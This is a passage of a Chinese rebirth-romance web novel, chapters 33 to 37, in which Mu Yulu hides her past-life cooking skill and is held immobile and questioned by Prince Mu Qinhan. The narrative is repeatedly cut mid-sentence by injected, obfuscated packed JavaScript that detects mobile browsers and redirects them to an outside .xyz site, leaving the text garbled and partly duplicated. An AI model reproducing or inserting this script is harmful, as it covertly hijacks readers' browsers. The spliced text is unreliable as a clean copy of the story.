沐毓露拍了拍她旁边的那张凳子，示意她赶快坐下：“我一个人也吃不了这么多呀，这些糕点放到明天可就不好吃了，你过来帮我一起吃一点。” 默合犹豫了一下，望了眼桌子上堆得满满当当的食物，在沐毓露的旁边坐下了。然而刚吃了两口面，她突然就停下了筷子。 沐毓露转头望她：“怎么了？这温面不好吃么？” 默合摇了摇头：“不是，是太好吃了，我这辈子都没有吃过这么好吃的面。” 她的语气里全是真诚，丝毫没有浮夸的成分，然而沐毓露还没来得及高兴，又听见默合继续道：“可是我记得之前小姐在厨房练手的时候，还把锅给炸了来着，您的手艺怎么突然变得这么好了？” 沐毓露沉默了。 这丫头还真是哪壶不开提哪壶。 她说的是自己重生前的事儿了。 沐毓露能有这一手好厨艺，其实多亏了穆衾寒。 前世她还在苦苦追求穆衾寒的时候，无意间看到了一个话本，那个话本子里写了一句歪理——想要抓住男人的心就要先抓住他的胃。 前世的沐毓露简直将这句话奉为圭臬，即便于烹饪一道一窍不通，却还是想尽办法拜师学艺。 这么算来这一世的沐毓露恰好就是在几个月前开始做菜练手，并且不小心炸了自家厨房的锅子还烧了灶台的。 按照正确的时间线，现在的沐毓露还在学习阶段，根本没有这么好的手艺，她真正的厨艺都是在嫁入穆王府后尚未被囚禁起来的那一年多里练成的。 34. 第34章 沐毓露有些懊恼地抿了抿嘴，她突然想到默合是厨房的烧火丫头，因此她几个月前在厨房练手烧菜的样子估计都落入了默合的眼里。 该怎么跟她解释几个月前还在炸厨房的自己手艺突飞猛进，突然间就能做出这一桌子的好菜来了？ 见默合眼巴巴地盯着自己，真的很好奇的样子，沐毓露不得不硬着头皮编瞎话：“其实这个烹饪呀，它跟练武是一样的，都讲究一个悟性。” 默合长长地哦了一声，信服地点了点头。 沐毓露继续编：“有的人习武十年，依然没有什么长进，而有的人可能只入门了半年，突然就顿悟了，就好像打通了任督二脉一样，一下子成为了武林高手。” 老实说这些话其实她自己都不信，但除了硬着头皮继续往下编，她又有什么办法：“做菜也是一样的，前几日我突然就顿悟了，现在只要拿到菜谱，就没有我不会做的菜。” 好在默合跟心云一样也是个老实人，就这么相信了沐毓露的鬼话，她恍然大悟地吃了几口面，一边吃还一边细细地品味：“小姐，那你这番顿悟可真是悟得太透了。” 她又吸了一口面：“你居然顿悟出了天下第一楼的味道。” 恰好前段时间沐毓露在天下第一楼抛绣球招亲，沐玉罡请了很多的达官显贵，为了在他们面前展现沐府的阔气，他还专门备了十几桌下人席，让沐府的下人们也能一同上桌吃席。 默合就是在那天第一次吃到天下第一楼的菜，今晚品尝到沐毓露做的温面，惊觉这面的味道很像天下第一楼的风味。 这又该如何解释？ 沐毓露尴尬地笑。 除了说是巧合，还有什么办法？ 但其实她烹饪的手法与天下第一楼的名厨相似，也与穆衾寒有关联。 穆衾寒最喜欢吃天下第一楼那位名厨做的菜，这是京城人尽皆知的事情，前世的沐毓露为了投其所好，在嫁入穆王府之后，用自己那点微薄的嫁妆钱跑到天下第一楼找那位名厨学手艺。 但是名厨很有职业操守，坚决不肯收沐毓露的钱。 名厨很为自己的东家着想，若是让沐毓露从自己那里学去了手艺，她转头在天下第一楼对面开个天下第二楼可怎么好？ 沐毓露诚心诚意地跑了好几趟，再三申明她学艺并非为了开酒楼，而是为了做菜给心上人吃。 然而名厨软硬不吃，就是不肯松口，最后沐毓露得以在他手底下学厨艺，还是多亏了天下第一楼的少东家齐知止。 也不知道齐知止是被沐毓露三顾茅庐的诚意打动了，还是看她一个女子每天抛头露面地往酒楼后厨跑十分不易，总之他亲自出马，让那名厨收沐毓露为徒。 沐毓露就这样在那位名厨手底下当起了学徒，用了小半年的时间给人家打下手，终于获得了对方的认可，开始认认真真教她手艺。 然而还没学满一年，她的求学之路就被迫中止了。 穆衾寒得知沐毓露跑到天下第一楼去给人当学徒，在府里发了好大的脾气，指责她抛头露面不守妇德，又骂她与庖厨为伍丢了穆王府的脸。 其实沐毓露很清楚，穆衾寒之所以如此生气，单纯是看她不顺眼。 他若当真是那么迂腐的人，就不会看上身为医女的柳闻霜，还执意迎她入府做正妃。 那柳闻霜在嫁入王府前靠行医为生，穆衾寒怕她嫁入王府后不习惯，特意在街对面开了个小医馆，柳闻霜若是愿意，可每日自由出入王府，即便到对面的医馆给人问诊取药都没问题。 穆衾寒怎么不责怪她每日抛头露面不守妇德？说到底就是爱与不爱的区别罢了。 他的确是把柳闻霜养得很好，在嫁入王府前柳闻霜没有任何爱好，后来被穆衾寒娇养得久了，接触到了琴棋书画品茶插花，每天都有做不完的趣事。 不过这所有的事情里，她最感兴趣的一桩是跳舞。 要知道跳舞在朱雀国可不是什么高雅的事情，高门显贵家的女子是绝对不能学舞的，若是谁家女儿习舞，说出去一定会被人笑话，连带着父母也要被人指指点点，笑话他们不好好教养女儿，让女儿去学下九流的技艺。 然而穆衾寒便是顶着这样大的压力，让身为王府正妃的柳闻霜按照自己的心意去做任何她想做的事情。 她喜欢跳舞，他便为她请来京城最有名的舞女，就让舞女在王府中住下，直到柳闻霜学会了为止。 他甚至还在府中搭了个水榭舞台，又是凿湖又是建亭，简直快把柳闻霜宠到了天上去。 相比较之下，沐毓露花自己的银两去跟名厨学艺，为的也不过是有朝一日能够给穆衾寒做一桌好菜，她每日在后厨生火切菜都要戴着帷帽，快要闷死了也不能取下来，就这样还要被穆衾寒骂不守妇德，委实是有些凄惨了。 后来她被禁了足，穆衾寒勒令她不许离开王府到外面去给他丢人现眼，她便只能窝在厨房里，每日琢磨着给穆衾寒做什么菜。 可惜她钻研了一天做出来的菜最后都没能进到穆衾寒的肚子里，大多数时候她在穆衾寒的院子跟前蹲守了半天都见不着他的人影，即便见到了也会被他不分青红皂白地赶回去。 偶尔这些菜送到了他的面前，却要么被他随手赏给了身边的小厮，要么就被倒出去喂了狗。 天知道沐毓露守在门口等着小厮还餐盒的时候有多期待，可是当她期待地询问王爷进得香不香的时候，等来的回答却是王爷根本就没有吃她做的菜。 小厮宽慰她，不过王妃养的那条狗倒是吃得挺香的。 现在回想起来，这到底是什么人间疾苦？ 在沐府的苦吃得还不够多么？非要上赶着去吃穆衾寒的苦。 总之她前世做的所有努力几乎都与穆衾寒有关，如今的她还保留着上一世的手艺，但是穆衾寒这个人，就要被她彻底从生命中剔除出去了。 定了定神，沐毓露将思绪从痛苦的回忆中抽离出来， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361953|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静地对默合道：“想是我前段时间练手时用的都是天下第一楼的菜谱，所以现在做菜也有了些它家的口味。” 默合点了点头，不再说话，专心致志地品尝美味。 不过半柱香的时间，两个人就将桌子上的食物一扫而空，抱着圆滚滚的肚子长吁短叹。 “吃得好撑呀，现在这么撑正好可以回去睡觉，保证一挨枕头就睡着了。”这是沐毓露的经验之谈。 默合刚说了一句可是，便被沐毓露捂住了嘴巴打断了：“你现在不是烧火的粗使丫头了，不用再每天寅时就起，你是可以多睡一会儿的。” 说着她抬头望了一下天：“今天是我搬新院子的第一日，按照规矩，明日我是一定要去给夫人请安问好的，所以我们现在差不多还有两个时辰可以睡。” 她冲默合眨了眨眼，语气里带着点自嘲的意味：“但是过了明天，我们就不必早起了，反正我不像二小姐和三小姐那样需得日日去夫人院子里请安，我们可以光明正大地睡懒觉。” 默合目不转睛地注视着沐毓露，眼睛里逐渐流露出些许笑意。 沐毓露这才松开手，拍了拍默合肩膀，然后轻轻推了她一把：“好了，还有两个时辰，留给你的时间不多了，快去休息吧。” 默合应了一声站起身来，走的时候还把桌上的碗盏都收去洗了。 沐毓露坐在椅子上思考了一会儿人生，等消化得差不多之后才起身往屋子里走。 然而她刚走两步便感觉双腿酸胀，一步都迈不出去了，紧接着觉得全身僵硬，连头都不能动。 这是怎么回事？ 她瞬间想到一万种可能，甚至连方才自己做菜时是不是不小心掺入了相克的食物导致中毒的可能性都想到了，唯独没有想到她是被人点了穴。 直到一双手从身后抚上她的脸颊，与此同时耳畔响起一个熟悉的声音，她才反应过来发生了什么。 “我竟然不知你还会烹饪？而且手艺还这么好？”这声音低沉醇厚，像是陈年的烈酒，带着点令人微醺的力量，一听便是穆衾寒的声音。 很显然她是不小心着了穆衾寒的道儿。 在这样的情境下穆衾寒问出这样的话，让沐毓露瞬间想到了前世他将自己精心烹饪的饭菜拿去喂狗这件事情。 她不由得怒火中烧，开口说话时便也就不大客气：“我会烹饪跟王爷有什么关系？难道我手艺好会做菜，还要给王爷报备一下？” 穆衾寒似乎是没有想到这丫头一上来就这么大火气，一时间不知道该说些什么，连呼吸声都停顿了一下。 过了好一会儿他才再次开口问道：“你怎么知道我是谁？” 沐毓露气得牙痒痒：“你的声音就算是化成灰我都听得出来。” 穆衾寒意味深长地哦了一声：“没想到你连我的声音都记得如此清楚。” 话音未落，方才一直隐于夜色之中的人主动往前一步，出现在了沐毓露的面前。 35. 第35章 月光下，穆衾寒着一身玄色劲装，缓缓地从她身后绕了出来。 他身上的这一件衣裳裁剪得十分合体，完美地勾勒出他宽肩窄腰的身形轮廓，沐毓露前后活了两辈子，今晚还是她第一次见到穆衾寒穿夜行衣的模样。 那夜行衣不知由何材料制成，在月光下泛着冷冽的光泽，紧贴着他结实的身躯，看起来服帖却又不紧绷。 如此一来，穆衾寒身上的每一处肌肉线条都清晰可见，肩线平直如刃，背部肌肉在紧身衣的勾勒下显出充满力量感的弧度，腰带束出劲瘦的腰身，往下是修长有力的双腿。 这是何等的绝色。 沐毓露看呆了眼，忍不住咽了口唾沫。 穆衾寒往前倾了倾身子，将沐毓露的反应尽收眼底，剑眉下那双深不见底的眼眸，此刻正似笑非笑地看着她。 他的声音里带着几分戏谑：“你分明很喜欢我，为何又总是躲着我？” 沐毓露愣了一下，随即反应过来，自己方才看他的眼神确实是太直勾勾了点，倒也怪不得穆衾寒如此自恋。 她轻吸了一口气，然后移开目光：“王爷好身材，是个女人都会喜欢看的。” 她悍不畏死地继续道：“但是我喜欢看您并不意味着我就是喜欢您，也有可能我只是喜欢你的身子而已。” 其实她心里很清楚，在穆衾寒面前说这种话根本就是在找死，毕竟他最厌恶的就是轻佻放荡之人，更何况被她用言语轻薄的人就是他自己。 前世穆衾寒之所以如此厌恶她，就是因为她为了嫁给他，所使的手段太过低劣。 三皇子生辰宴后没过多久，穆衾寒生了一场大病，就连宫中的御医都束手无策，于是朝廷向天下发布诏令，遍寻名医入王府治病，若是谁能治好穆王爷的病，加官晋爵不说，还能获赏黄金千两。 一时之间朱雀国冒出了许多江湖游医，都声称能够治好王爷的病，然而经过他们治疗之后穆衾寒的症状不仅没有得到缓解，反而病得更重了，于是这帮人都被打了个半死丢出了王府。 如此一来没有真本事的人哪里还敢踏入穆王府，没过多久王府跟前络绎不绝的人影便都消失了，而穆衾寒的病也一日比一日严重。 后来沐玉罡不知道从哪里重金聘请来了一位名医，说是继承了什么医家绝学，这世上就没有他治不好的病。 沐玉罡给了他许多的银子，忙不迭把他送进了穆王府。 那名医倒也确实有几分本事，医了几天之后穆衾寒的症状立马减轻了，又过了几天，他甚至能下地行走了。 眼看着王爷的病慢慢好了起来，那名医也就用不着日日都守在穆王府，只需要隔两三日去王府给穆衾寒把一次脉即可。 沐毓露父女便是在这个时候打上了穆衾寒的主意。 如今回想起来，说他们是趁人之危也不为过。 隔天，趁着那名医再次入王府给穆衾寒把脉，沐毓露伪装成名医的学徒，跟着他一道进了穆王府。 再然后便是今天的沐毓露回忆起来都觉得羞耻万分的事情。 她宽衣解带，爬上了床，躺在了刚吃完药睡得昏昏沉沉的穆衾寒身侧，待下人发现她的时候，她睡得比病重的穆衾寒还要沉。 穆衾寒自然是发了很大的脾气，但沐府怎么说也算得上是他的救命恩人，他总不能才治好了病，转头就要了恩人的命。 结果就是在战场上叱咤风云从未有过败绩的穆王爷，第一次咽下了这个哑巴亏。 三日后他迎沐毓露入府，但言明沐毓露只能成为他的侍妾，不要再妄想其它。 对于彼时的沐毓露来说，这已经是很好的结果了，但今时不同往日，现在的沐毓露恨不得穿越回去抽自己几巴掌，狠狠地把自己打醒才是。 那时候的沐毓露还不知道，穆衾寒最恨轻浮浪荡之人，自己犯了他最大的忌讳，没有被他当场一剑捅死已经算是幸运，那时候的她还在沾沾自喜，殊不知嫁入王府之后才是噩梦的开始。 用这样的手段嫁进王府，别说穆衾寒厌恶她，便连王府的下人都不待见她，她的住处被安排到了王府角落一间废弃已久的小院，平时连个洒扫的粗使婆子都没有。 可就算是这样她都不觉失落，她觉得只要能嫁进王府，总有一天穆衾寒会被她感动，说不定会将她抬为侧妃，再不济也至少是个贵妾，这样她便可以为家族扬眉吐气了。 她的父母或许也就看得起她了。 然而她的春秋大梦还没有做多久，医女柳闻霜便入了府。 柳闻霜自言是看到诏令赶来的，给穆衾寒一番检查之后她断定，王爷前段时间不适乃是中毒所致，并非因为生病。 沐府请来的名医看似治疗有效，其实只是治标不治本，王爷体内余毒未清，长此以往必会阴虚亏损，身体大不如前。 穆衾寒一听，觉得此女所言甚有道理，怪不得自己病好之后总觉得身子不如从前，练了半天的剑便觉得有些喘不上气。 于是他将柳闻霜奉为坐上宾，按照她的法子清理毒素调理身体，如此过了几个月，穆衾寒体内的余毒被清理干净了，整个人变得容光焕发，舞剑都比从前更有力气了。 就这样，他在无比感激柳闻霜的同时还不可救药地爱上了她，没过多久便八抬大轿迎她入府，让她成为了名正言顺的穆王妃。 至于在一旁上蹿下跳企图阻挠这对璧人缔结姻缘的沐毓露就不必提了，反正她从来都活得像一个小丑。 柳闻霜入府之后沐毓露变得更加疯魔，说过许多尖酸刻薄的话，也做过一些莫名其妙的事，如今沐毓露已经不想再回忆起这些可笑且尴尬的往事。 总之有一点她十分确定，那就是这个世界上没有人比她更加清楚说什么话做什么事能够彻底激怒穆衾寒。 她今日用言语轻薄他，说出如此大逆不道的话，他一定会杀了她的，她在心里想。 但是想到这一点她反而觉得痛快，并不感到害怕。两世的愤怒在她心底燃烧着，吞噬着她的理智，激起了一些原本不属于她的勇气。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361954|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她就算是死，也要让穆衾寒恶心得吃不下饭。愤怒地把心一横，她张开嘴还想继续嘲讽穆衾寒，却没想到满肚子的话还没来得及说出口，她就先被穆衾寒给恶心到了。 他又往前凑了凑，冰凉的指尖轻轻抚过她的下颌，然后往上移了移，按住了她的唇。 没说出口的话就这么被他按了回去。 沐毓露瞪大了眼。 这人到底在干嘛？ 他是不是有毛病？ “你这张嘴这么有温度，说出来的话却总是让人生气。”穆衾寒依旧是似笑非笑的表情，他轻轻摩挲着沐毓露的双唇：“就不能说一些我想听的话么？” 沐毓露望向他的眼神逐渐从不可置信变为了无生趣。 这个王爷果然有毛病。 跟脑子有毛病的人是说不清什么的，她决定闭嘴不说话了。 穆衾寒见她紧闭双唇，一副拒不沟通的样子，反倒是笑了笑，突然退开一步，饶有兴味地对沐毓露道：“我有一些问题想问你，若是你能诚实回答，我就考虑放了你。” 沐毓露最恨被人威胁，尤其是被穆衾寒这个狗男人威胁。 她恨恨地瞪了穆衾寒一眼：“你有本事就别放我，就让我站在这里，站到死为止。” “这么有骨气？”穆衾寒挑了挑眉：“可本王还舍不得让你死。” 他抬手在沐毓露的穴位上一点：“想要让你说实话，哪里用得着这么麻烦。” 在他的手指触上穴位的一瞬间，沐毓露便感到全身发麻，好像有千万只蚂蚁正在啃食着她的肌肤，有无数的虫蝇在她的血管中游走。 几乎是在下一秒，沐毓露就呲牙咧嘴地妥协了：“我说我说，我什么都说。” 穆衾寒似乎是笑了一声，他抬手解穴，望向沐毓露的眼神里带着笑意：“早这么配合不就不用吃这些苦了？” 沐毓露有气无力地问：“你想问我什么？” 穆衾寒却又不急着问了，他今晚似乎兴致很高，很有兴趣地观察着沐毓露的窘态，然后慢条斯理地道：“我已经解了你所有的穴位，你现在可以动弹了。” 说着他指了指一旁的椅子：“也可以坐下说话。” 沐毓露嘶了一声，抬头瞪了他一眼，一瘸一拐地走到椅子跟前坐下了。 待她坐稳之后，穆衾寒才缓缓问道：“你似乎早就认识我了？” 听到这个问题沐毓露微微颤抖了一下，她迅速将脑袋低下，装作在给自己认真捶腿的样子。 穆衾寒却不给她编造理由的机会，他伸手将她的头抬起：“看着我，回答我的问题。” “今晚你只听到我说了一句话，便十分肯定来人是我，可我们的交集并不多。”他不依不饶地继续问着：“还有我们第一次见面的时候，在天下第一楼，你为什么看到了我就跑？” 他的力气很大，强制地让她抬起头与他对视，沐毓露怎么也躲闪不了，于是干脆愤怒地嚎了一嗓子：“因为那根本就不是我们的第一次见面！” 36. 第36章 穆衾寒愣住了：“你说什么？” 沐毓露呼吸不稳，胸口剧烈地起伏着：“我说那不是我们的第一次见面，或者说那日只是你第一次见到我，却并非我第一次见到你。” 穆衾寒狐疑地注视着她：“为何如此说？” 沐毓露咬牙硬着头皮继续道：“是，没错，我是心悦王爷许久，曾经想尽各种办法打听你的行踪，只是为了能够远远看你一眼。” “所以其实早在那天之前，我就已经偷看过你好多次了，每一次见到你我都会做许多的笔记，记录你吃了什么做了什么，甚至会用画笔描摹你那日的穿着打扮，这日复一日下来，我当然对你的身形长相甚至是声音语气都无比熟悉。” 穆衾寒听得沉默了。 他沉默了好一会儿才继续问：“那你为什么在天下第一楼见到我就跑？” 沐毓露也沉默了。 看来他的确是对她刚重生那日见到他就跑的行为十分在意，今日她要是不给个合理的解释，他是不会放过她了。 沐毓露再一次硬着头皮道：“那是因为你也看到了我，我们甚至还对视了，我害羞啊。” 她实在是有些扯不下去了，艰难地拖长了声音说着：“所以我就跑了。” 穆衾寒眯了眯眼：“你这样说倒是很解释得通。” 不过这个问题解决了，新的问题又来了。 他虽然笑着，笑意却未达眼底：“那我们第二次见面你又作何解释？” 他的拇指抚过她紧绷的下颌线，动作轻柔得像是在对待一件易碎的瓷器，与眼底的冷意形成鲜明的对比：“那晚你的态度分明拒我于千里之外，甚至不惜将匕首抵在自己的脖子上威胁我，我至今都不理解你对我的憎恶到底由何而来。” 说到这里他突然又想到一个比较关键的问题：“而且你没事往自己枕头底下放一个匕首干什么？” 沐毓露在心里长叹一口气，无奈地闭上眼睛，这可是解释不清了。 庭院里一片寂静，只有风吹过树叶的沙沙声。 沐毓露能听到自己急促的心跳，还有穆衾寒平稳的呼吸声。 她重新睁开眼，见到月光洒落，在他轮廓分明的侧脸染上一层朦胧的光晕，同时也照亮了他眼中危险的暗涌。 在这个活阎王面前，解释不清也得硬着头皮解释，她倒是不怕死，她怕的是生不如死。 “那天晚上姨娘的小厮们是如何刁难欺负我的，王爷也都看在眼里。”她决定卖惨：“我在沐府空有个嫡小姐的身份，却是人人都可以欺凌践踏的主儿。我们家虽然不是皇亲贵胄，到底也算得上是大户人家，高楼大院里的水有多深多浊，想必王爷比我更清楚。” 穆衾寒问她：“所以你在枕头底下放一把匕首防身？” 沐毓露点头：“宅院里的争斗除了明枪还有暗箭，我不得不防。” 穆衾寒又问：“可是我看那日的情形，似乎是你比较占据上风吧？” 他这话算是说得委婉，那晚沐毓露的表现称得上是骁勇，何止是比较占据上风？ 她都快把那群小厮给吓傻了。 沐毓露尴尬地咳了两声，不服气地为自己辩解：“兔子急了还会咬人，狗急了也会跳墙呢！正是因为他们天天欺负我，把我给逼急了，我才奋力反抗的。” 沐毓露的反应落在穆衾寒的眼里倒是颇为有趣，他不动声色地观察着她生动的表情，末了突然来上一句：“你这个表情不像兔子也不像狗，倒像是一只不服输的野猫。” 什么玩意儿？ 沐毓露抬眼瞪着他，忍了又忍，最后还是没忍住：“这是一个被逼入绝境的人生出的无畏勇气，请你对我放尊重一点。” 穆衾寒很配合地道：“没想到沐大小姐在沐府的生存环境如此艰难，你很有勇气，是我失敬了。” 沐毓露防备地盯着他，这个人又在玩儿什么把戏？ 穆衾寒就这样夸了沐毓露几句，也不知是真心诚意夸她还是在阴阳怪气，夸完之后他突然话锋一转：“有时候我倒真的分不清你到底是爱我还是恨我，我至今记得那日你病重，我在沐府照顾你时你看我的眼神。” 穆衾寒话还没有说完，沐毓露已经开始颤抖了。 她知道那天她一定是病得糊涂了，把今生当成了前世，把穆衾寒也当成了上一世的他。 但她不记得她到底糊涂到了什么程度，对穆衾寒做了些什么，又说了些什么话，以至于他如此念念不忘，过了这么久还非要跑来问个究竟。 她无奈地叹了一口气：“王爷，我是这样想的，你听一听有没有道理，我觉得你的执念还是太深了……” “你那天用那样的眼神看我，我便知道了你的心意。”穆衾寒居高临下地俯视着她，打断了她的话：“可为何你要拒绝我的求亲？为什么不愿意嫁给我？” 沐毓露再次无奈地叹气，她是真的有点烦了，马上就快没耐心了，穆衾寒还在这里问问问，那就不要怪她说话不客气了。 她恢复了一点力气，终于能够别过脸，避开穆衾寒的视线：“王爷，那是因为人是会移情别恋的啊。” 她今晚反正是豁出去了，也不管自己到底在说些什么了：“我后来又对三州堇璱一见钟情了，所以不想嫁给你了，很合理吧。” 穆衾寒似乎是被气笑了。 他往下俯了俯身子，将沐毓露完全笼罩在他的阴影里，就连两人的呼吸间都全是他身上冷冽的气息。 不待穆衾寒张口说话，沐毓露咬了咬牙继续输出：“而且王爷，您知不知道什么才叫做娶？” “您让我入王府做妾，那不过是纳我进府而已，怎么能撑得上娶？若要说诚心诚意娶我进府，至少也要让我做个侧妃吧？” 说到这里她又连忙补充道：“不过我沐毓露既不愿意做妾，也不给人做小，您若是真的想要娶我，那就八抬大轿迎我入王府做正妃，这样才算得上有点诚意。” 其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361955|183723||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实沐毓露心知肚明，要穆衾寒迎一个商户女入王府做正妃，这何止算是一点诚意，简直等同于把心剖出来给她看了。 但是她偏要这样讲，她就是要让穆衾寒知难而退。 穆衾寒果然如她所料那般沉默了。 月光被浮云遮蔽了一瞬，庭院陷入短暂的黑暗，穆衾寒倏然起身，往后退了半步。 他身上极具压迫感的气息逐渐散去，沐毓露这才松了口气，月光重新倾泻而下之时，她鼓起勇气与穆衾寒对视：“我知道王爷你是做不到的，但你给不了我的，三州堇璱能给我。” 月光下，穆衾寒眉目如画却寒意逼人，玄色紧身衣衬得他肤色冷白，整个人宛如一柄出鞘的利剑。 他沉默了许久，直等得沐毓露心虚得低下了头，才缓缓开口：“其实你自己也知道，三州堇璱是不会回来娶你的。” 沐毓露猛地将头抬起：“你根本就不知道我和他之间的事情，你凭什么这么说？” 穆衾寒眼中闪过一丝了然：“我的确不知你和他做了什么交易，让他答应来抢你的绣球。但是我很了解他，我知道他是不会回来娶你的。” 沐毓露呼吸一滞。 她这才知晓为何抛绣球那日穆衾寒的反应如此平静，即便被三州堇璱抢了绣球，他仍旧是一副波澜不惊的模样。 原来是因为他很了解三州堇璱的个性，知道对方是一定不会回来娶她的。 “你以为三州堇璱接近你是为了什么？你不会真的以为他喜欢你吧？”见沐毓露呆住了，穆衾寒继续道：“关于他到底为什么接近你，我倒是有一个猜想，你要不要听听？” 沐毓露继续死鸭子嘴硬：“我有问题自然会去问他，干嘛要听你的猜想？有什么误会我们俩自然会好好沟通的，你休想挑拨离间。” 穆衾寒侧首观察着她的表情：“装傻也要有个限度，你是个聪明人，绝不像现在表现出来的这般蠢钝无脑。” 沐毓露沉默了。 她无奈地坐在原地，安静了好一会儿才再次开口，再开口时她的声音冷了几分：“我知道他来沐府有他的目的，我们第一次见面就是在沐府书阁的楼顶，从一开始我就知道他不单单是来我家房顶看月亮的。” 说着她抬起头，定定地注视着穆衾寒：“就好像王爷前次闯入我的房间，应当不是奔着我来的吧？” “王爷今晚穿着这一身衣裳出现在沐府，也并非专程为了跑来问我这些问题，同我一起在院子里看月亮数星星的吧？” 既然话都说到这个份儿上了，她也就干脆全都敞开了说：“我知道沐府有你们想要得到的东西，但那个东西与我无关，我也不知道它到底是什么。就算你们蓄意接近我，也是捞不到一点好处的。” 她耸了耸肩：“你也看到了，我在这个府里说不上一点话，我爹到底在外面干了些什么事儿，我更是毫不知情。” “所以无论是你还是三州堇璱，从我这里都得不到一点好处。” 37. 第37章 穆衾寒轻笑一声，那笑声里似乎带了几分欣赏：“你倒是看得通透。” 沐毓露点了点头，然后正色道：“王爷想听实话，我已经把所有的实话都告诉你了。我曾经是喜欢过你，但现在已经不喜欢了，我移情别恋了，还请王爷不要再来打扰我。” 她义正严辞地说出这番话，却是将穆衾寒逗笑了。 她从来没有见过穆衾寒露出这般开怀的笑容，一时间觉得有些惊悚，看穆衾寒的眼神都变了。 上辈子她为了见到心上人的笑颜，做过许多滑稽的事情，然而穆衾寒根本不舍得对她露出一点笑意。 他将所有的温柔都给了柳闻霜，连施舍给沐毓露一个眼神都不肯。 怎么这一世她想要与他撇清关系了，他反而笑成这个样子？ 若是上一世的沐毓露看见穆衾寒在自己面前笑得如此开怀，恐怕会高兴得晕过去，可是这一世的沐毓露听见穆衾寒的笑声，只会越听越生气。 有什么好笑的？ 她在认认真真地与他划清界限，他笑成这个样子是什么意思？ 沐毓露强压下心中的怒火，咬着牙根问穆衾寒：“王爷在笑什么？” 穆衾寒终于笑够了，他终于敛了笑容，同样正色对沐毓露道：“且先不说他到底喜不喜欢你，单说你吧，我看得出来你不爱他，即便他真的回来娶你，你也不会嫁给他的。” 紧接着他又补充了一句让沐毓露听得想吐血的话：“那几日在沐府照顾你时我见过你看我的眼神，所以我敢肯定你对三州堇璱无意。” 他俯身凑在沐毓露耳边，气息绵长：“你看我的眼神才是真正爱慕一个人时该有的眼神。” 沐毓露终于忍不住了，她抬手想要给他一耳光，却是扑了个空。 穆衾寒在下一秒后退了几步，退至了月光与阴影的交界处。 穿着一身夜行衣的他在此刻隐入了夜色当中，沐毓露看不见他的身影，但她知道他还没有离开，于是赶紧道：“不管你怎么说，接到绣球的人都是三州堇璱，他就是我的夫君，我是绝对不会嫁给你的。” 穆衾寒却完全不讲道理，根本就无视了她的话，自顾自地道：“我知道了，你绝不愿意做妾，我会向你表明诚意的。” 表明诚意？ 这是什么意思？ 沐毓露坐不住了，猛地站起身来，却发现穆衾寒已经如鬼魅般无声无息地消失在了庭院里。 他要向她表明什么诚意？ 沐毓露不敢往深了想，单是想到他这句话便已经冒出了一身的冷汗。 她实在搞不懂，前世是她对穆衾寒求而不得，怎么这一世变成了穆衾寒对她死缠烂打？ 重新坐回石凳上，她揉了揉仍觉酸麻的肩膀，实在是被穆衾寒折腾得疲惫不堪，拖着沉重的步子走回房间，四仰八叉地躺到了床上。 算了，还是先休息吧，再不睡觉明天真的要顶着黑眼圈去给沐昭氏请安了。 刚沾到枕头她就直接睡了过去，才闭上眼睛不久，下一秒她就被心云唤醒了。 “小姐，快别睡了，我们今天要去给夫人请安，去晚了不好。”心云一边说着，一边把沐毓露从床上拎起来：“我来给小姐梳妆，默合已经将水烧好了，我们梳洗完就去。” 沐毓露眯着眼睛任由心云折腾，直到换好了衣裳梳好了头发都还没有醒过神来。 心云疑惑地望着她：“小姐，你昨天晚上干嘛去了？怎么这么困？” 一边说她一边拿起扇子给沐毓露扇风，想要让她尽快清醒过来：“小姐，你可不能这么迷迷糊糊地去给夫人请安呀。听说昨儿个夫人的妹妹从乡下过来看她，要在府上住好一段时间呢，你今天去请安说不定会碰上她，可一定要醒着神儿呀。” 心云的风没有把沐毓露扇醒，倒是蒲昭氏来沐府的消息把沐毓露惊得清醒了。 她站起身来，一边往外走一边嘟囔：“她早不来晚不来，偏偏在这么关键的时候来。我最烦她那张嘴，惯爱搬弄是非。” 心云在一旁附和：“谁说不是呢，蒲姨娘那张嘴最爱挑拨是非。她大概是听说小姐抛绣球找了个好夫婿，赶着来看热闹吧？” 沐毓露冷哼一声：“她若只是来看个热闹倒好了。” 说话间两人便走到了沐昭氏的院子，沐毓露在院外站了片刻，深深地吸了几口气，这才迈步踏进屋里。 一进屋便看见自己的母亲热情招呼坐在一旁的蒲昭氏喝茶水，沐晚意亲昵地趴在蒲昭氏的膝头，似是在展示她手腕间的镯子。 见到沐毓露进来，沐昭氏淡淡地望了她一眼，沐晚意则一下子站起身来，颇为矜傲地望着沐毓露。 整个屋子里对沐毓露最热情的却是远道而来上沐府做客的蒲昭氏。 